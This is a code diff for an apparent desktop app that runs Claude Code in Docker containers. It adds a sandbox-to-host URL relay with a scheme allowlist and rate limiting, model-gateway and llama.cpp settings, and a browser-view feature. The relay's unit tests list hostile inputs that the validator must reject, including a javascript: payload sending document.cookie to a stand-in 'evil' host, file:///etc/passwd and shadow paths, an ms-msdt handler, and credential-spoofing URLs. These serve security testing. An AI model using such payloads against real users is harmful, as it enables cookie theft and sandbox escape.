@@ -212,6 +223,31 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
return true;
|
||||
});
|
||||
|
||||
// URL relay (OSC 7777) — a CLI inside the container asked for a URL to be
|
||||
// opened in a browser. The container has none; `triple-c-open` (installed
|
||||
// as xdg-open / $BROWSER / sensible-browser / ...) forwards the request
|
||||
// here instead.
|
||||
//
|
||||
// The container is untrusted, so this never opens anything by itself:
|
||||
// parseUrlRelayOsc enforces the http/https allowlist and the payload is
|
||||
// rate-limited, then the user gets the same confirmation toast the
|
||||
// long-URL detector uses. One click is a small price for not handing a
|
||||
// sandboxed agent a "make the host's logged-in browser fetch this"
|
||||
// primitive.
|
||||
const relayDisposable = term.parser.registerOscHandler(URL_RELAY_OSC, (data) => {
|
||||
const url = parseUrlRelayOsc(data);
|
||||
if (!url) {
|
||||
console.warn("URL relay: rejected request from container");
|
||||
return true; // consumed either way — never let it reach the screen
|
||||
}
|
||||
if (!relayLimiterRef.current.allow(url)) {
|
||||
console.warn("URL relay: rate-limited", url);
|
||||
return true;
|
||||
}
|
||||
setUrlPrompt({ url, label: "Container asked to open a URL" });
|
||||
return true;
|
||||
});
|
||||
|
||||
// Handle user input -> backend
|
||||
const inputDisposable = term.onData((data) => {
|
||||
sendInput(sessionId, data);
|
||||
@@ -295,7 +331,9 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
// Handle backend output -> terminal
|
||||
let aborted = false;
|
||||
|
||||
const detector = new UrlDetector((url) => setDetectedUrl(url));
|
||||
const detector = new UrlDetector((url) =>
|
||||
setUrlPrompt({ url, label: "Long URL detected" }),
|
||||
);
|
||||
detectorRef.current = detector;
|
||||
|
||||
const SSO_MARKER = "###TRIPLE_C_SSO_REFRESH###";
|
||||
@@ -369,6 +407,7 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
ssoTriggeredRef.current = false;
|
||||
ssoBufferRef.current = "";
|
||||
osc52Disposable.dispose();
|
||||
relayDisposable.dispose();
|
||||
inputDisposable.dispose();
|
||||
scrollDisposable.dispose();
|
||||
selectionDisposable.dispose();
|
||||
@@ -425,10 +464,10 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
|
||||
// Auto-dismiss toast after 30 seconds
|
||||
useEffect(() => {
|
||||
if (!detectedUrl) return;
|
||||
const timer = setTimeout(() => setDetectedUrl(null), 30_000);
|
||||
if (!urlPrompt) return;
|
||||
const timer = setTimeout(() => setUrlPrompt(null), 30_000);
|
||||
return () => clearTimeout(timer);
|
||||
}, [detectedUrl]);
|
||||
}, [urlPrompt]);
|
||||
|
||||
// Auto-dismiss image paste message after 3 seconds
|
||||
useEffect(() => {
|
||||
@@ -438,13 +477,13 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
}, [imagePasteMsg]);
|
||||
|
||||
const handleOpenUrl = useCallback(() => {
|
||||
if (detectedUrl) {
|
||||
openUrl(detectedUrl).catch((e) =>
|
||||
if (urlPrompt) {
|
||||
openUrl(urlPrompt.url).catch((e) =>
|
||||
console.error("Failed to open URL:", e),
|
||||
);
|
||||
setDetectedUrl(null);
|
||||
setUrlPrompt(null);
|
||||
}
|
||||
}, [detectedUrl]);
|
||||
}, [urlPrompt]);
|
||||
|
||||
const handleScrollToBottom = useCallback(() => {
|
||||
const term = termRef.current;
|
||||
@@ -516,11 +555,12 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
ref={terminalContainerRef}
|
||||
className={`w-full h-full relative ${active ? "" : "hidden"}`}
|
||||
>
|
||||
{detectedUrl && (
|
||||
{urlPrompt && (
|
||||
<UrlToast
|
||||
url={detectedUrl}
|
||||
url={urlPrompt.url}
|
||||
label={urlPrompt.label}
|
||||
onOpen={handleOpenUrl}
|
||||
onDismiss={() => setDetectedUrl(null)}
|
||||
onDismiss={() => setUrlPrompt(null)}
|
||||
/>
|
||||
)}
|
||||
{imagePasteMsg && (
|
||||
|
||||
@@ -1,10 +1,17 @@
|
||||
interface Props {
|
||||
url: string;
|
||||
/** Heading above the URL. Says why the toast appeared. */
|
||||
label?: string;
|
||||
onOpen: () => void;
|
||||
onDismiss: () => void;
|
||||
}
|
||||
|
||||
export default function UrlToast({ url, onOpen, onDismiss }: Props) {
|
||||
export default function UrlToast({
|
||||
url,
|
||||
label = "Long URL detected",
|
||||
onOpen,
|
||||
onDismiss,
|
||||
}: Props) {
|
||||
return (
|
||||
<div
|
||||
className="animate-slide-down"
|
||||
@@ -33,7 +40,7 @@ export default function UrlToast({ url, onOpen, onDismiss }: Props) {
|
||||
marginBottom: 2,
|
||||
}}
|
||||
>
|
||||
Long URL detected
|
||||
{label}
|
||||
</div>
|
||||
<div
|
||||
style={{
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { invoke } from "@tauri-apps/api/core";
|
||||
import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus } from "./types";
|
||||
import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, GatewayStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus, BrowserViewStatus, PlaywrightDetection } from "./types";
|
||||
|
||||
// Docker
|
||||
export const checkDocker = () => invoke<boolean>("check_docker");
|
||||
@@ -103,6 +103,21 @@ export const pullSttImage = () => invoke<void>("pull_stt_image");
|
||||
export const transcribeAudio = (audioData: number[]) =>
|
||||
invoke<string>("transcribe_audio", { audioData });
|
||||
|
||||
// Model gateway (LiteLLM)
|
||||
export const getGatewayStatus = () => invoke<GatewayStatus>("get_gateway_status");
|
||||
export const startGateway = () => invoke<GatewayStatus>("start_gateway");
|
||||
export const stopGateway = () => invoke<void>("stop_gateway");
|
||||
export const checkGatewayHealth = () => invoke<boolean>("check_gateway_health");
|
||||
export const buildGatewayImage = () => invoke<void>("build_gateway_image");
|
||||
export const pullGatewayImage = () => invoke<void>("pull_gateway_image");
|
||||
/** Write-only: the provider API key is never read back out of the keychain. */
|
||||
export const setGatewayApiKey = (apiKey: string) =>
|
||||
invoke<void>("set_gateway_api_key", { apiKey });
|
||||
export const clearGatewayApiKey = () => invoke<void>("clear_gateway_api_key");
|
||||
export const getGatewayAuthToken = () => invoke<string>("get_gateway_auth_token");
|
||||
export const regenerateGatewayAuthToken = () =>
|
||||
invoke<string>("regenerate_gateway_auth_token");
|
||||
|
||||
// Docker install helper
|
||||
export const detectInstallOptions = () =>
|
||||
invoke<InstallOptions>("detect_install_options");
|
||||
@@ -151,6 +166,19 @@ export const setAuthBridgeEnabled = (projectId: string, enabled: boolean) =>
|
||||
export const getAuthBridgeStatus = (projectId: string) =>
|
||||
invoke<AuthBridgeStatus>("get_auth_bridge_status", { projectId });
|
||||
|
||||
// Browser view — watch and take over the browser Claude drives with Playwright
|
||||
// inside the container. Off by default, per project. Enabling probes the
|
||||
// container, starts the Playwright dashboard in it, and puts a token-gated
|
||||
// listener on the host's loopback in front of it; the returned `url` is the
|
||||
// only way in, and it is never reachable off the machine.
|
||||
export const setBrowserViewEnabled = (projectId: string, enabled: boolean) =>
|
||||
invoke<BrowserViewStatus>("set_browser_view_enabled", { projectId, enabled });
|
||||
export const getBrowserViewStatus = (projectId: string) =>
|
||||
invoke<BrowserViewStatus>("get_browser_view_status", { projectId });
|
||||
/** Probe for Playwright without starting anything — used to re-check after installing it. */
|
||||
export const checkBrowserViewSupport = (projectId: string) =>
|
||||
invoke<PlaywrightDetection>("check_browser_view_support", { projectId });
|
||||
|
||||
// Shared Claude Code auth token — one `claude setup-token` run authenticates
|
||||
// every Anthropic-backend project. The token itself is never exposed here: it
|
||||
// lives in the OS keychain and is injected as a container env var.
|
||||
|
||||
+114
-1
@@ -23,6 +23,7 @@ export interface Project {
|
||||
backend: Backend;
|
||||
bedrock_config: BedrockConfig | null;
|
||||
ollama_config: OllamaConfig | null;
|
||||
llamacpp_config: LlamaCppConfig | null;
|
||||
openai_compatible_config: OpenAiCompatibleConfig | null;
|
||||
allow_docker_access: boolean;
|
||||
sandbox_mode_enabled: boolean;
|
||||
@@ -30,6 +31,8 @@ export interface Project {
|
||||
/** Mirror container loopback listeners onto host loopback so in-container
|
||||
* browser OAuth logins can complete. Host-side only — no container recreate. */
|
||||
auth_bridge_enabled: boolean;
|
||||
/** Opt in to the browser-view pane. Host-side only, like `auth_bridge_enabled`. */
|
||||
browser_view_enabled: boolean;
|
||||
/** Use the shared long-lived Claude Code token (from `claude setup-token`,
|
||||
* held in the OS keychain) instead of this project's own `claude login`.
|
||||
* Defaults to true; only applies when `backend` is "anthropic" and a token
|
||||
@@ -60,7 +63,22 @@ export type ProjectStatus =
|
||||
| "stopping"
|
||||
| "error";
|
||||
|
||||
export type Backend = "anthropic" | "bedrock" | "ollama" | "open_ai_compatible";
|
||||
export type Backend =
|
||||
| "anthropic"
|
||||
| "bedrock"
|
||||
| "ollama"
|
||||
| "llama_cpp"
|
||||
| "open_ai_compatible";
|
||||
|
||||
/** Backends that point Claude Code at a non-Anthropic endpoint via
|
||||
* `ANTHROPIC_BASE_URL`. These get the `ANTHROPIC_DEFAULT_*_MODEL` aliases
|
||||
* pinned to their configured model; Anthropic and Bedrock do not. Mirrors
|
||||
* Rust `Backend::uses_custom_endpoint`. */
|
||||
export const CUSTOM_ENDPOINT_BACKENDS: readonly Backend[] = [
|
||||
"ollama",
|
||||
"llama_cpp",
|
||||
"open_ai_compatible",
|
||||
];
|
||||
|
||||
/** Mirrors Rust `PermissionMode` (serde camelCase). */
|
||||
export type PermissionMode = "plan" | "default" | "acceptEdits" | "bypass";
|
||||
@@ -83,12 +101,28 @@ export interface BedrockConfig {
|
||||
export interface OllamaConfig {
|
||||
base_url: string;
|
||||
model_id: string | null;
|
||||
/** Optional override for the model the `haiku` alias resolves to (the alias
|
||||
* Claude Code uses for background work). Blank falls back to `model_id`. */
|
||||
haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
/** llama.cpp (`llama-server`) — it natively implements the Anthropic Messages
|
||||
* API at `POST /v1/messages`, so Claude Code talks to it directly. */
|
||||
export interface LlamaCppConfig {
|
||||
base_url: string;
|
||||
model_id: string | null;
|
||||
/** See `OllamaConfig.haiku_model_id`. */
|
||||
haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
/** Despite the name (kept for existing project data), the endpoint must
|
||||
* implement the **Anthropic** Messages API — e.g. LiteLLM. */
|
||||
export interface OpenAiCompatibleConfig {
|
||||
base_url: string;
|
||||
api_key: string | null;
|
||||
model_id: string | null;
|
||||
/** See `OllamaConfig.haiku_model_id`. */
|
||||
haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface ClaudeCodeSettings {
|
||||
@@ -137,11 +171,21 @@ export interface GlobalAwsSettings {
|
||||
export interface GlobalOllamaSettings {
|
||||
base_url: string | null;
|
||||
default_model_id: string | null;
|
||||
/** Global fallback for the `haiku` alias override; blank means "use the
|
||||
* resolved model id". */
|
||||
default_haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface GlobalLlamaCppSettings {
|
||||
base_url: string | null;
|
||||
default_model_id: string | null;
|
||||
default_haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface GlobalOpenAiCompatibleSettings {
|
||||
base_url: string | null;
|
||||
default_model_id: string | null;
|
||||
default_haiku_model_id: string | null;
|
||||
}
|
||||
|
||||
export interface AppSettings {
|
||||
@@ -153,6 +197,7 @@ export interface AppSettings {
|
||||
custom_image_name: string | null;
|
||||
global_aws: GlobalAwsSettings;
|
||||
global_ollama: GlobalOllamaSettings;
|
||||
global_llamacpp: GlobalLlamaCppSettings;
|
||||
global_openai_compatible: GlobalOpenAiCompatibleSettings;
|
||||
global_claude_instructions: string | null;
|
||||
global_custom_env_vars: EnvVar[];
|
||||
@@ -163,6 +208,7 @@ export interface AppSettings {
|
||||
dismissed_image_digest: string | null;
|
||||
web_terminal: WebTerminalSettings;
|
||||
stt: SttSettings;
|
||||
gateway: GatewaySettings;
|
||||
global_claude_code_settings: ClaudeCodeSettings | null;
|
||||
}
|
||||
|
||||
@@ -181,6 +227,35 @@ export interface SttStatus {
|
||||
image_exists: boolean;
|
||||
}
|
||||
|
||||
/** One entry of the gateway's LiteLLM `model_list`. */
|
||||
export interface GatewayModel {
|
||||
/** Friendly name a project puts in its model field. */
|
||||
name: string;
|
||||
/** Provider-side model id, e.g. `gpt-5.1`. */
|
||||
model_id: string;
|
||||
}
|
||||
|
||||
export interface GatewaySettings {
|
||||
enabled: boolean;
|
||||
port: number;
|
||||
/** LiteLLM provider prefix — `openai`, `azure`, `gemini`, … */
|
||||
provider: string;
|
||||
api_base: string | null;
|
||||
models: GatewayModel[];
|
||||
}
|
||||
|
||||
export interface GatewayStatus {
|
||||
container_exists: boolean;
|
||||
running: boolean;
|
||||
port: number;
|
||||
image_exists: boolean;
|
||||
model_count: number;
|
||||
/** Presence only — the provider API key never leaves the keychain. */
|
||||
has_api_key: boolean;
|
||||
/** The value a project should use as its base URL. */
|
||||
base_url: string;
|
||||
}
|
||||
|
||||
export interface WebTerminalSettings {
|
||||
enabled: boolean;
|
||||
port: number;
|
||||
@@ -351,6 +426,44 @@ export interface AuthBridgeChangedEvent {
|
||||
status: AuthBridgeStatus;
|
||||
}
|
||||
|
||||
// ── Browser view ─────────────────────────────────────────────────────────────
|
||||
|
||||
/** What the container has, as reported by the in-container Playwright probe.
|
||||
* Mirrors Rust `PlaywrightDetection`. */
|
||||
export interface PlaywrightDetection {
|
||||
node_version: string | null;
|
||||
playwright_version: string | null;
|
||||
playwright_path: string | null;
|
||||
/** Whether the resolved Playwright declares the `browser.bind()` live-dashboard API. */
|
||||
has_bind: boolean;
|
||||
cli_version: string | null;
|
||||
cli_entry: string | null;
|
||||
/** Module roots the probe searched, echoed back for the "not found" message. */
|
||||
searched: string[];
|
||||
}
|
||||
|
||||
/** Mirrors Rust `BrowserViewState` (serde snake_case). */
|
||||
export type BrowserViewState = "off" | "running" | "unavailable";
|
||||
|
||||
export interface BrowserViewStatus {
|
||||
enabled: boolean;
|
||||
state: BrowserViewState;
|
||||
/** Token-bearing loopback URL for the pane's iframe. Never leaves the host. */
|
||||
url: string | null;
|
||||
host_port: number | null;
|
||||
container_port: number | null;
|
||||
started_at: string | null;
|
||||
detection: PlaywrightDetection | null;
|
||||
/** Why the view isn't running, and what to do about it. */
|
||||
message: string | null;
|
||||
}
|
||||
|
||||
/** Payload of the `browser-view-changed` event. */
|
||||
export interface BrowserViewChangedEvent {
|
||||
project_id: string;
|
||||
status: BrowserViewStatus;
|
||||
}
|
||||
|
||||
/** Payload of the `claude-token-progress` event: milestones during
|
||||
* `acquire_claude_token`. Never contains the token. */
|
||||
export interface ClaudeTokenProgressEvent {
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import {
|
||||
MAX_RELAY_URL_LENGTH,
|
||||
RelayRateLimiter,
|
||||
URL_RELAY_OSC,
|
||||
parseUrlRelayOsc,
|
||||
sanitizeRelayUrl,
|
||||
} from "./urlRelay";
|
||||
|
||||
/** Build the OSC 7777 payload the container shim emits for `url`. */
|
||||
function payloadFor(url: string): string {
|
||||
const bytes = new TextEncoder().encode(url);
|
||||
let binary = "";
|
||||
for (const b of bytes) binary += String.fromCharCode(b);
|
||||
return `open;${btoa(binary)}`;
|
||||
}
|
||||
|
||||
describe("URL_RELAY_OSC", () => {
|
||||
it("is the private identifier the container shim writes", () => {
|
||||
expect(URL_RELAY_OSC).toBe(7777);
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — accepts", () => {
|
||||
it("plain https URLs", () => {
|
||||
expect(sanitizeRelayUrl("https://github.com/login/device")).toBe(
|
||||
"https://github.com/login/device",
|
||||
);
|
||||
});
|
||||
|
||||
it("plain http URLs", () => {
|
||||
expect(sanitizeRelayUrl("http://example.com/")).toBe("http://example.com/");
|
||||
});
|
||||
|
||||
it("long OAuth URLs with query strings", () => {
|
||||
const url =
|
||||
"https://d-1234567890.awsapps.com/start/#/device?user_code=ABCD-EFGH&state=" +
|
||||
"x".repeat(200);
|
||||
expect(sanitizeRelayUrl(url)).toBe(url);
|
||||
});
|
||||
|
||||
it("loopback callback URLs (the CLI, not the host, chose the port)", () => {
|
||||
expect(sanitizeRelayUrl("http://127.0.0.1:8123/callback?code=abc")).toBe(
|
||||
"http://127.0.0.1:8123/callback?code=abc",
|
||||
);
|
||||
});
|
||||
|
||||
it("trims surrounding whitespace before validating", () => {
|
||||
expect(sanitizeRelayUrl(" https://example.com/x ")).toBe(
|
||||
"https://example.com/x",
|
||||
);
|
||||
});
|
||||
|
||||
it("normalizes so the toast shows exactly what will be opened", () => {
|
||||
expect(sanitizeRelayUrl("https://EXAMPLE.com")).toBe("https://example.com/");
|
||||
});
|
||||
|
||||
it("keeps hyphens and other legal URL punctuation", () => {
|
||||
const url = "https://my-host.example.com/a-b_c~d/e.f?g=h-i#j-k";
|
||||
expect(sanitizeRelayUrl(url)).toBe(url);
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — rejects non-http(s) schemes", () => {
|
||||
// The whole point of the allowlist: the container must not be able to make
|
||||
// the host open a scheme that reaches local files, script, or an OS handler.
|
||||
it.each([
|
||||
["javascript:", "javascript:alert(1)"],
|
||||
["javascript: with payload", "javascript:fetch('http://evil/'+document.cookie)"],
|
||||
["file: absolute path", "file:///etc/passwd"],
|
||||
["file: host share", "file://host/share/secret"],
|
||||
["data:", "data:text/html,<script>alert(1)</script>"],
|
||||
["vbscript:", "vbscript:msgbox(1)"],
|
||||
["blob:", "blob:https://example.com/uuid"],
|
||||
["ftp:", "ftp://example.com/x"],
|
||||
["ssh:", "ssh://root@example.com"],
|
||||
["mailto:", "mailto:someone@example.com"],
|
||||
["ms-msdt: (protocol handler)", "ms-msdt:/id PCWDiagnostic"],
|
||||
["smb:", "smb://server/share"],
|
||||
["custom app handler", "slack://open?team=T123"],
|
||||
["chrome:", "chrome://settings"],
|
||||
["about:", "about:blank"],
|
||||
])("rejects %s", (_label, url) => {
|
||||
expect(sanitizeRelayUrl(url)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects case-variant javascript:", () => {
|
||||
expect(sanitizeRelayUrl("JaVaScRiPt:alert(1)")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects a scheme smuggled past a naive check with an embedded newline", () => {
|
||||
// `new URL()` strips tabs and newlines, so "java\nscript:" would parse as
|
||||
// a javascript: URL. The pre-parse control-character check stops it.
|
||||
expect(sanitizeRelayUrl("java\nscript:alert(1)")).toBeNull();
|
||||
expect(sanitizeRelayUrl("java\tscript:alert(1)")).toBeNull();
|
||||
expect(sanitizeRelayUrl("\x00javascript:alert(1)")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — rejects malformed and hostile input", () => {
|
||||
it("rejects non-strings", () => {
|
||||
expect(sanitizeRelayUrl(undefined)).toBeNull();
|
||||
expect(sanitizeRelayUrl(null)).toBeNull();
|
||||
expect(sanitizeRelayUrl(42)).toBeNull();
|
||||
expect(sanitizeRelayUrl({ href: "https://example.com" })).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects the empty string", () => {
|
||||
expect(sanitizeRelayUrl("")).toBeNull();
|
||||
expect(sanitizeRelayUrl(" ")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects scheme-less input", () => {
|
||||
expect(sanitizeRelayUrl("example.com")).toBeNull();
|
||||
expect(sanitizeRelayUrl("//example.com")).toBeNull();
|
||||
expect(sanitizeRelayUrl("/etc/passwd")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects http(s) URLs with no host", () => {
|
||||
expect(sanitizeRelayUrl("http://")).toBeNull();
|
||||
});
|
||||
|
||||
it("does not let an extra slash turn an https URL into a local path", () => {
|
||||
// WHATWG parsing treats the third slash as part of the authority, so this
|
||||
// stays a network URL to the (unresolvable) host "etc" — it never becomes
|
||||
// a read of /etc/passwd.
|
||||
expect(sanitizeRelayUrl("https:///etc/passwd")).toBe("https://etc/passwd");
|
||||
});
|
||||
|
||||
it("rejects embedded credentials (origin spoofing)", () => {
|
||||
expect(
|
||||
sanitizeRelayUrl("https://github.com@evil.example.com/login"),
|
||||
).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://user:pass@example.com/")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects control characters and whitespace inside the URL", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/\x1b]0;pwned\x07")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a b")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a\r\nb")).toBeNull();
|
||||
});
|
||||
|
||||
it("tolerates a trailing newline from the shim's printf", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/x\n")).toBe(
|
||||
"https://example.com/x",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects oversized URLs", () => {
|
||||
const huge = "https://example.com/" + "a".repeat(MAX_RELAY_URL_LENGTH);
|
||||
expect(huge.length).toBeGreaterThan(MAX_RELAY_URL_LENGTH);
|
||||
expect(sanitizeRelayUrl(huge)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("parseUrlRelayOsc", () => {
|
||||
it("decodes the sequence the container shim emits", () => {
|
||||
const url = "https://github.com/login/device";
|
||||
expect(parseUrlRelayOsc(payloadFor(url))).toBe(url);
|
||||
});
|
||||
|
||||
it("round-trips non-ASCII URLs through UTF-8", () => {
|
||||
const url = "https://example.com/café";
|
||||
// WHATWG normalization percent-encodes the path.
|
||||
expect(parseUrlRelayOsc(payloadFor(url))).toBe(
|
||||
"https://example.com/caf%C3%A9",
|
||||
);
|
||||
});
|
||||
|
||||
it("applies the scheme allowlist to the decoded payload", () => {
|
||||
expect(parseUrlRelayOsc(payloadFor("javascript:alert(1)"))).toBeNull();
|
||||
expect(parseUrlRelayOsc(payloadFor("file:///etc/shadow"))).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects an unknown verb", () => {
|
||||
const body = payloadFor("https://example.com/").split(";")[1];
|
||||
expect(parseUrlRelayOsc(`exec;${body}`)).toBeNull();
|
||||
expect(parseUrlRelayOsc(`;${body}`)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects payloads with no separator", () => {
|
||||
expect(parseUrlRelayOsc("open")).toBeNull();
|
||||
expect(parseUrlRelayOsc("")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects an empty body", () => {
|
||||
expect(parseUrlRelayOsc("open;")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects non-base64 bodies without throwing", () => {
|
||||
expect(parseUrlRelayOsc("open;!!!not base64!!!")).toBeNull();
|
||||
expect(parseUrlRelayOsc("open;https://example.com")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects a body that decodes to invalid UTF-8", () => {
|
||||
expect(parseUrlRelayOsc(`open;${btoa("\xff\xfe")}`)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects an absurdly large body before decoding", () => {
|
||||
expect(parseUrlRelayOsc(`open;${"A".repeat(MAX_RELAY_URL_LENGTH * 2 + 4)}`))
|
||||
.toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("RelayRateLimiter", () => {
|
||||
it("allows the first request", () => {
|
||||
const rl = new RelayRateLimiter();
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
});
|
||||
|
||||
it("suppresses a repeat of the same URL inside the dedupe window", () => {
|
||||
const rl = new RelayRateLimiter(5, 10_000, 5_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
expect(rl.allow("https://a.example/", 1_000)).toBe(false);
|
||||
expect(rl.allow("https://a.example/", 4_999)).toBe(false);
|
||||
});
|
||||
|
||||
it("allows the same URL again after the dedupe window", () => {
|
||||
const rl = new RelayRateLimiter(5, 10_000, 5_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
// Repeats keep pushing the dedupe deadline out; measure from the last one.
|
||||
expect(rl.allow("https://a.example/", 6_000)).toBe(true);
|
||||
});
|
||||
|
||||
it("caps the number of distinct prompts in the sliding window", () => {
|
||||
const rl = new RelayRateLimiter(3, 10_000, 1_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
expect(rl.allow("https://b.example/", 1_500)).toBe(true);
|
||||
expect(rl.allow("https://c.example/", 3_000)).toBe(true);
|
||||
expect(rl.allow("https://d.example/", 4_500)).toBe(false);
|
||||
expect(rl.allow("https://e.example/", 6_000)).toBe(false);
|
||||
});
|
||||
|
||||
it("recovers once the window slides past the old requests", () => {
|
||||
const rl = new RelayRateLimiter(2, 10_000, 1_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
expect(rl.allow("https://b.example/", 100)).toBe(true);
|
||||
expect(rl.allow("https://c.example/", 200)).toBe(false);
|
||||
expect(rl.allow("https://c.example/", 10_200)).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,155 @@
|
||||
/**
|
||||
* URL relay — host side of `container/triple-c-open`.
|
||||
*
|
||||
* A CLI inside the container has no browser. When it wants to open a URL
|
||||
* (`gh auth login`, `aws sso login`, `gcloud auth login`, anything honouring
|
||||
* `$BROWSER` or shelling out to `xdg-open`), the container-side shim writes
|
||||
*
|
||||
* ESC ] 7777 ; open ; <base64(url)> BEL
|
||||
*
|
||||
* to its controlling terminal. xterm.js routes that to an OSC 7777 handler,
|
||||
* which lands here.
|
||||
*
|
||||
* THE CONTAINER IS THE UNTRUSTED SIDE OF THIS BOUNDARY. Everything arriving
|
||||
* over the relay is attacker-controlled if the sandboxed agent misbehaves, so
|
||||
* this module is a validator first and a convenience second:
|
||||
*
|
||||
* - only `http:` and `https:` survive — `file:`, `javascript:`, `data:` and
|
||||
* every custom/registered URI handler are rejected. A container able to
|
||||
* make the host open arbitrary schemes could reach local files, in-page
|
||||
* script, or any protocol handler the OS has registered, which is a real
|
||||
* escalation out of the sandbox.
|
||||
* - embedded credentials (`https://user:pass@host`) are rejected: they are a
|
||||
* display-spoofing vector in the confirmation toast and in the address bar.
|
||||
* - control characters, whitespace and oversized payloads are rejected before
|
||||
* parsing, so the relay can't be used to smuggle escape sequences or to
|
||||
* push a megabyte of text into the UI.
|
||||
* - the URL is returned in WHATWG-normalized form, so what the user is shown
|
||||
* in the toast is exactly what gets opened.
|
||||
*
|
||||
* Opening is never automatic — see `RelayRateLimiter` and the confirmation
|
||||
* toast in TerminalView.
|
||||
*/
|
||||
|
||||
/** Private OSC identifier used by the relay. Chosen to avoid the numbers in
|
||||
* common use (0-19, 22, 52, 104, 110-119, 133, 777, 1337). */
|
||||
export const URL_RELAY_OSC = 7777;
|
||||
|
||||
/** Hard cap on a relayed URL. Real OAuth URLs run to a few hundred chars. */
|
||||
export const MAX_RELAY_URL_LENGTH = 8192;
|
||||
|
||||
/**
|
||||
* Validate a URL the container asked the host to open.
|
||||
*
|
||||
* @returns the normalized URL, or `null` if it must not be opened.
|
||||
*/
|
||||
export function sanitizeRelayUrl(raw: unknown): string | null {
|
||||
if (typeof raw !== "string") return null;
|
||||
|
||||
const candidate = raw.trim();
|
||||
if (candidate.length === 0) return null;
|
||||
if (candidate.length > MAX_RELAY_URL_LENGTH) return null;
|
||||
|
||||
// No whitespace or control characters anywhere. Rejecting these before
|
||||
// parsing matters: `new URL()` silently strips tabs/newlines, so
|
||||
// "java\nscript:alert(1)" would otherwise parse as a javascript: URL.
|
||||
// eslint-disable-next-line no-control-regex
|
||||
if (/[\s\u0000-\u0020\u007f]/.test(candidate)) return null;
|
||||
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(candidate);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Scheme allowlist. Nothing else, ever.
|
||||
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
|
||||
|
||||
// A special-scheme URL with no host is nonsense and, on some platforms,
|
||||
// resolves in surprising ways.
|
||||
if (parsed.hostname === "") return null;
|
||||
|
||||
// Embedded credentials spoof the displayed origin.
|
||||
if (parsed.username !== "" || parsed.password !== "") return null;
|
||||
|
||||
const normalized = parsed.toString();
|
||||
if (normalized.length > MAX_RELAY_URL_LENGTH) return null;
|
||||
|
||||
return normalized;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse the payload of an OSC 7777 sequence (everything between `ESC]7777;`
|
||||
* and the terminator).
|
||||
*
|
||||
* Expected shape: `open;<base64(url)>`. The URL is base64-encoded so that a
|
||||
* `;`, a BEL or an ESC inside it cannot break out of the sequence.
|
||||
*
|
||||
* @returns the validated URL, or `null` if the payload is malformed or the
|
||||
* URL fails {@link sanitizeRelayUrl}.
|
||||
*/
|
||||
export function parseUrlRelayOsc(data: string): string | null {
|
||||
if (typeof data !== "string") return null;
|
||||
|
||||
const sep = data.indexOf(";");
|
||||
if (sep === -1) return null;
|
||||
|
||||
const verb = data.slice(0, sep);
|
||||
if (verb !== "open") return null;
|
||||
|
||||
const payload = data.slice(sep + 1);
|
||||
if (payload.length === 0) return null;
|
||||
// base64 of the length cap, plus slack for padding.
|
||||
if (payload.length > MAX_RELAY_URL_LENGTH * 2) return null;
|
||||
if (!/^[A-Za-z0-9+/]+=*$/.test(payload)) return null;
|
||||
|
||||
let decoded: string;
|
||||
try {
|
||||
const binary = atob(payload);
|
||||
const bytes = Uint8Array.from(binary, (c) => c.charCodeAt(0));
|
||||
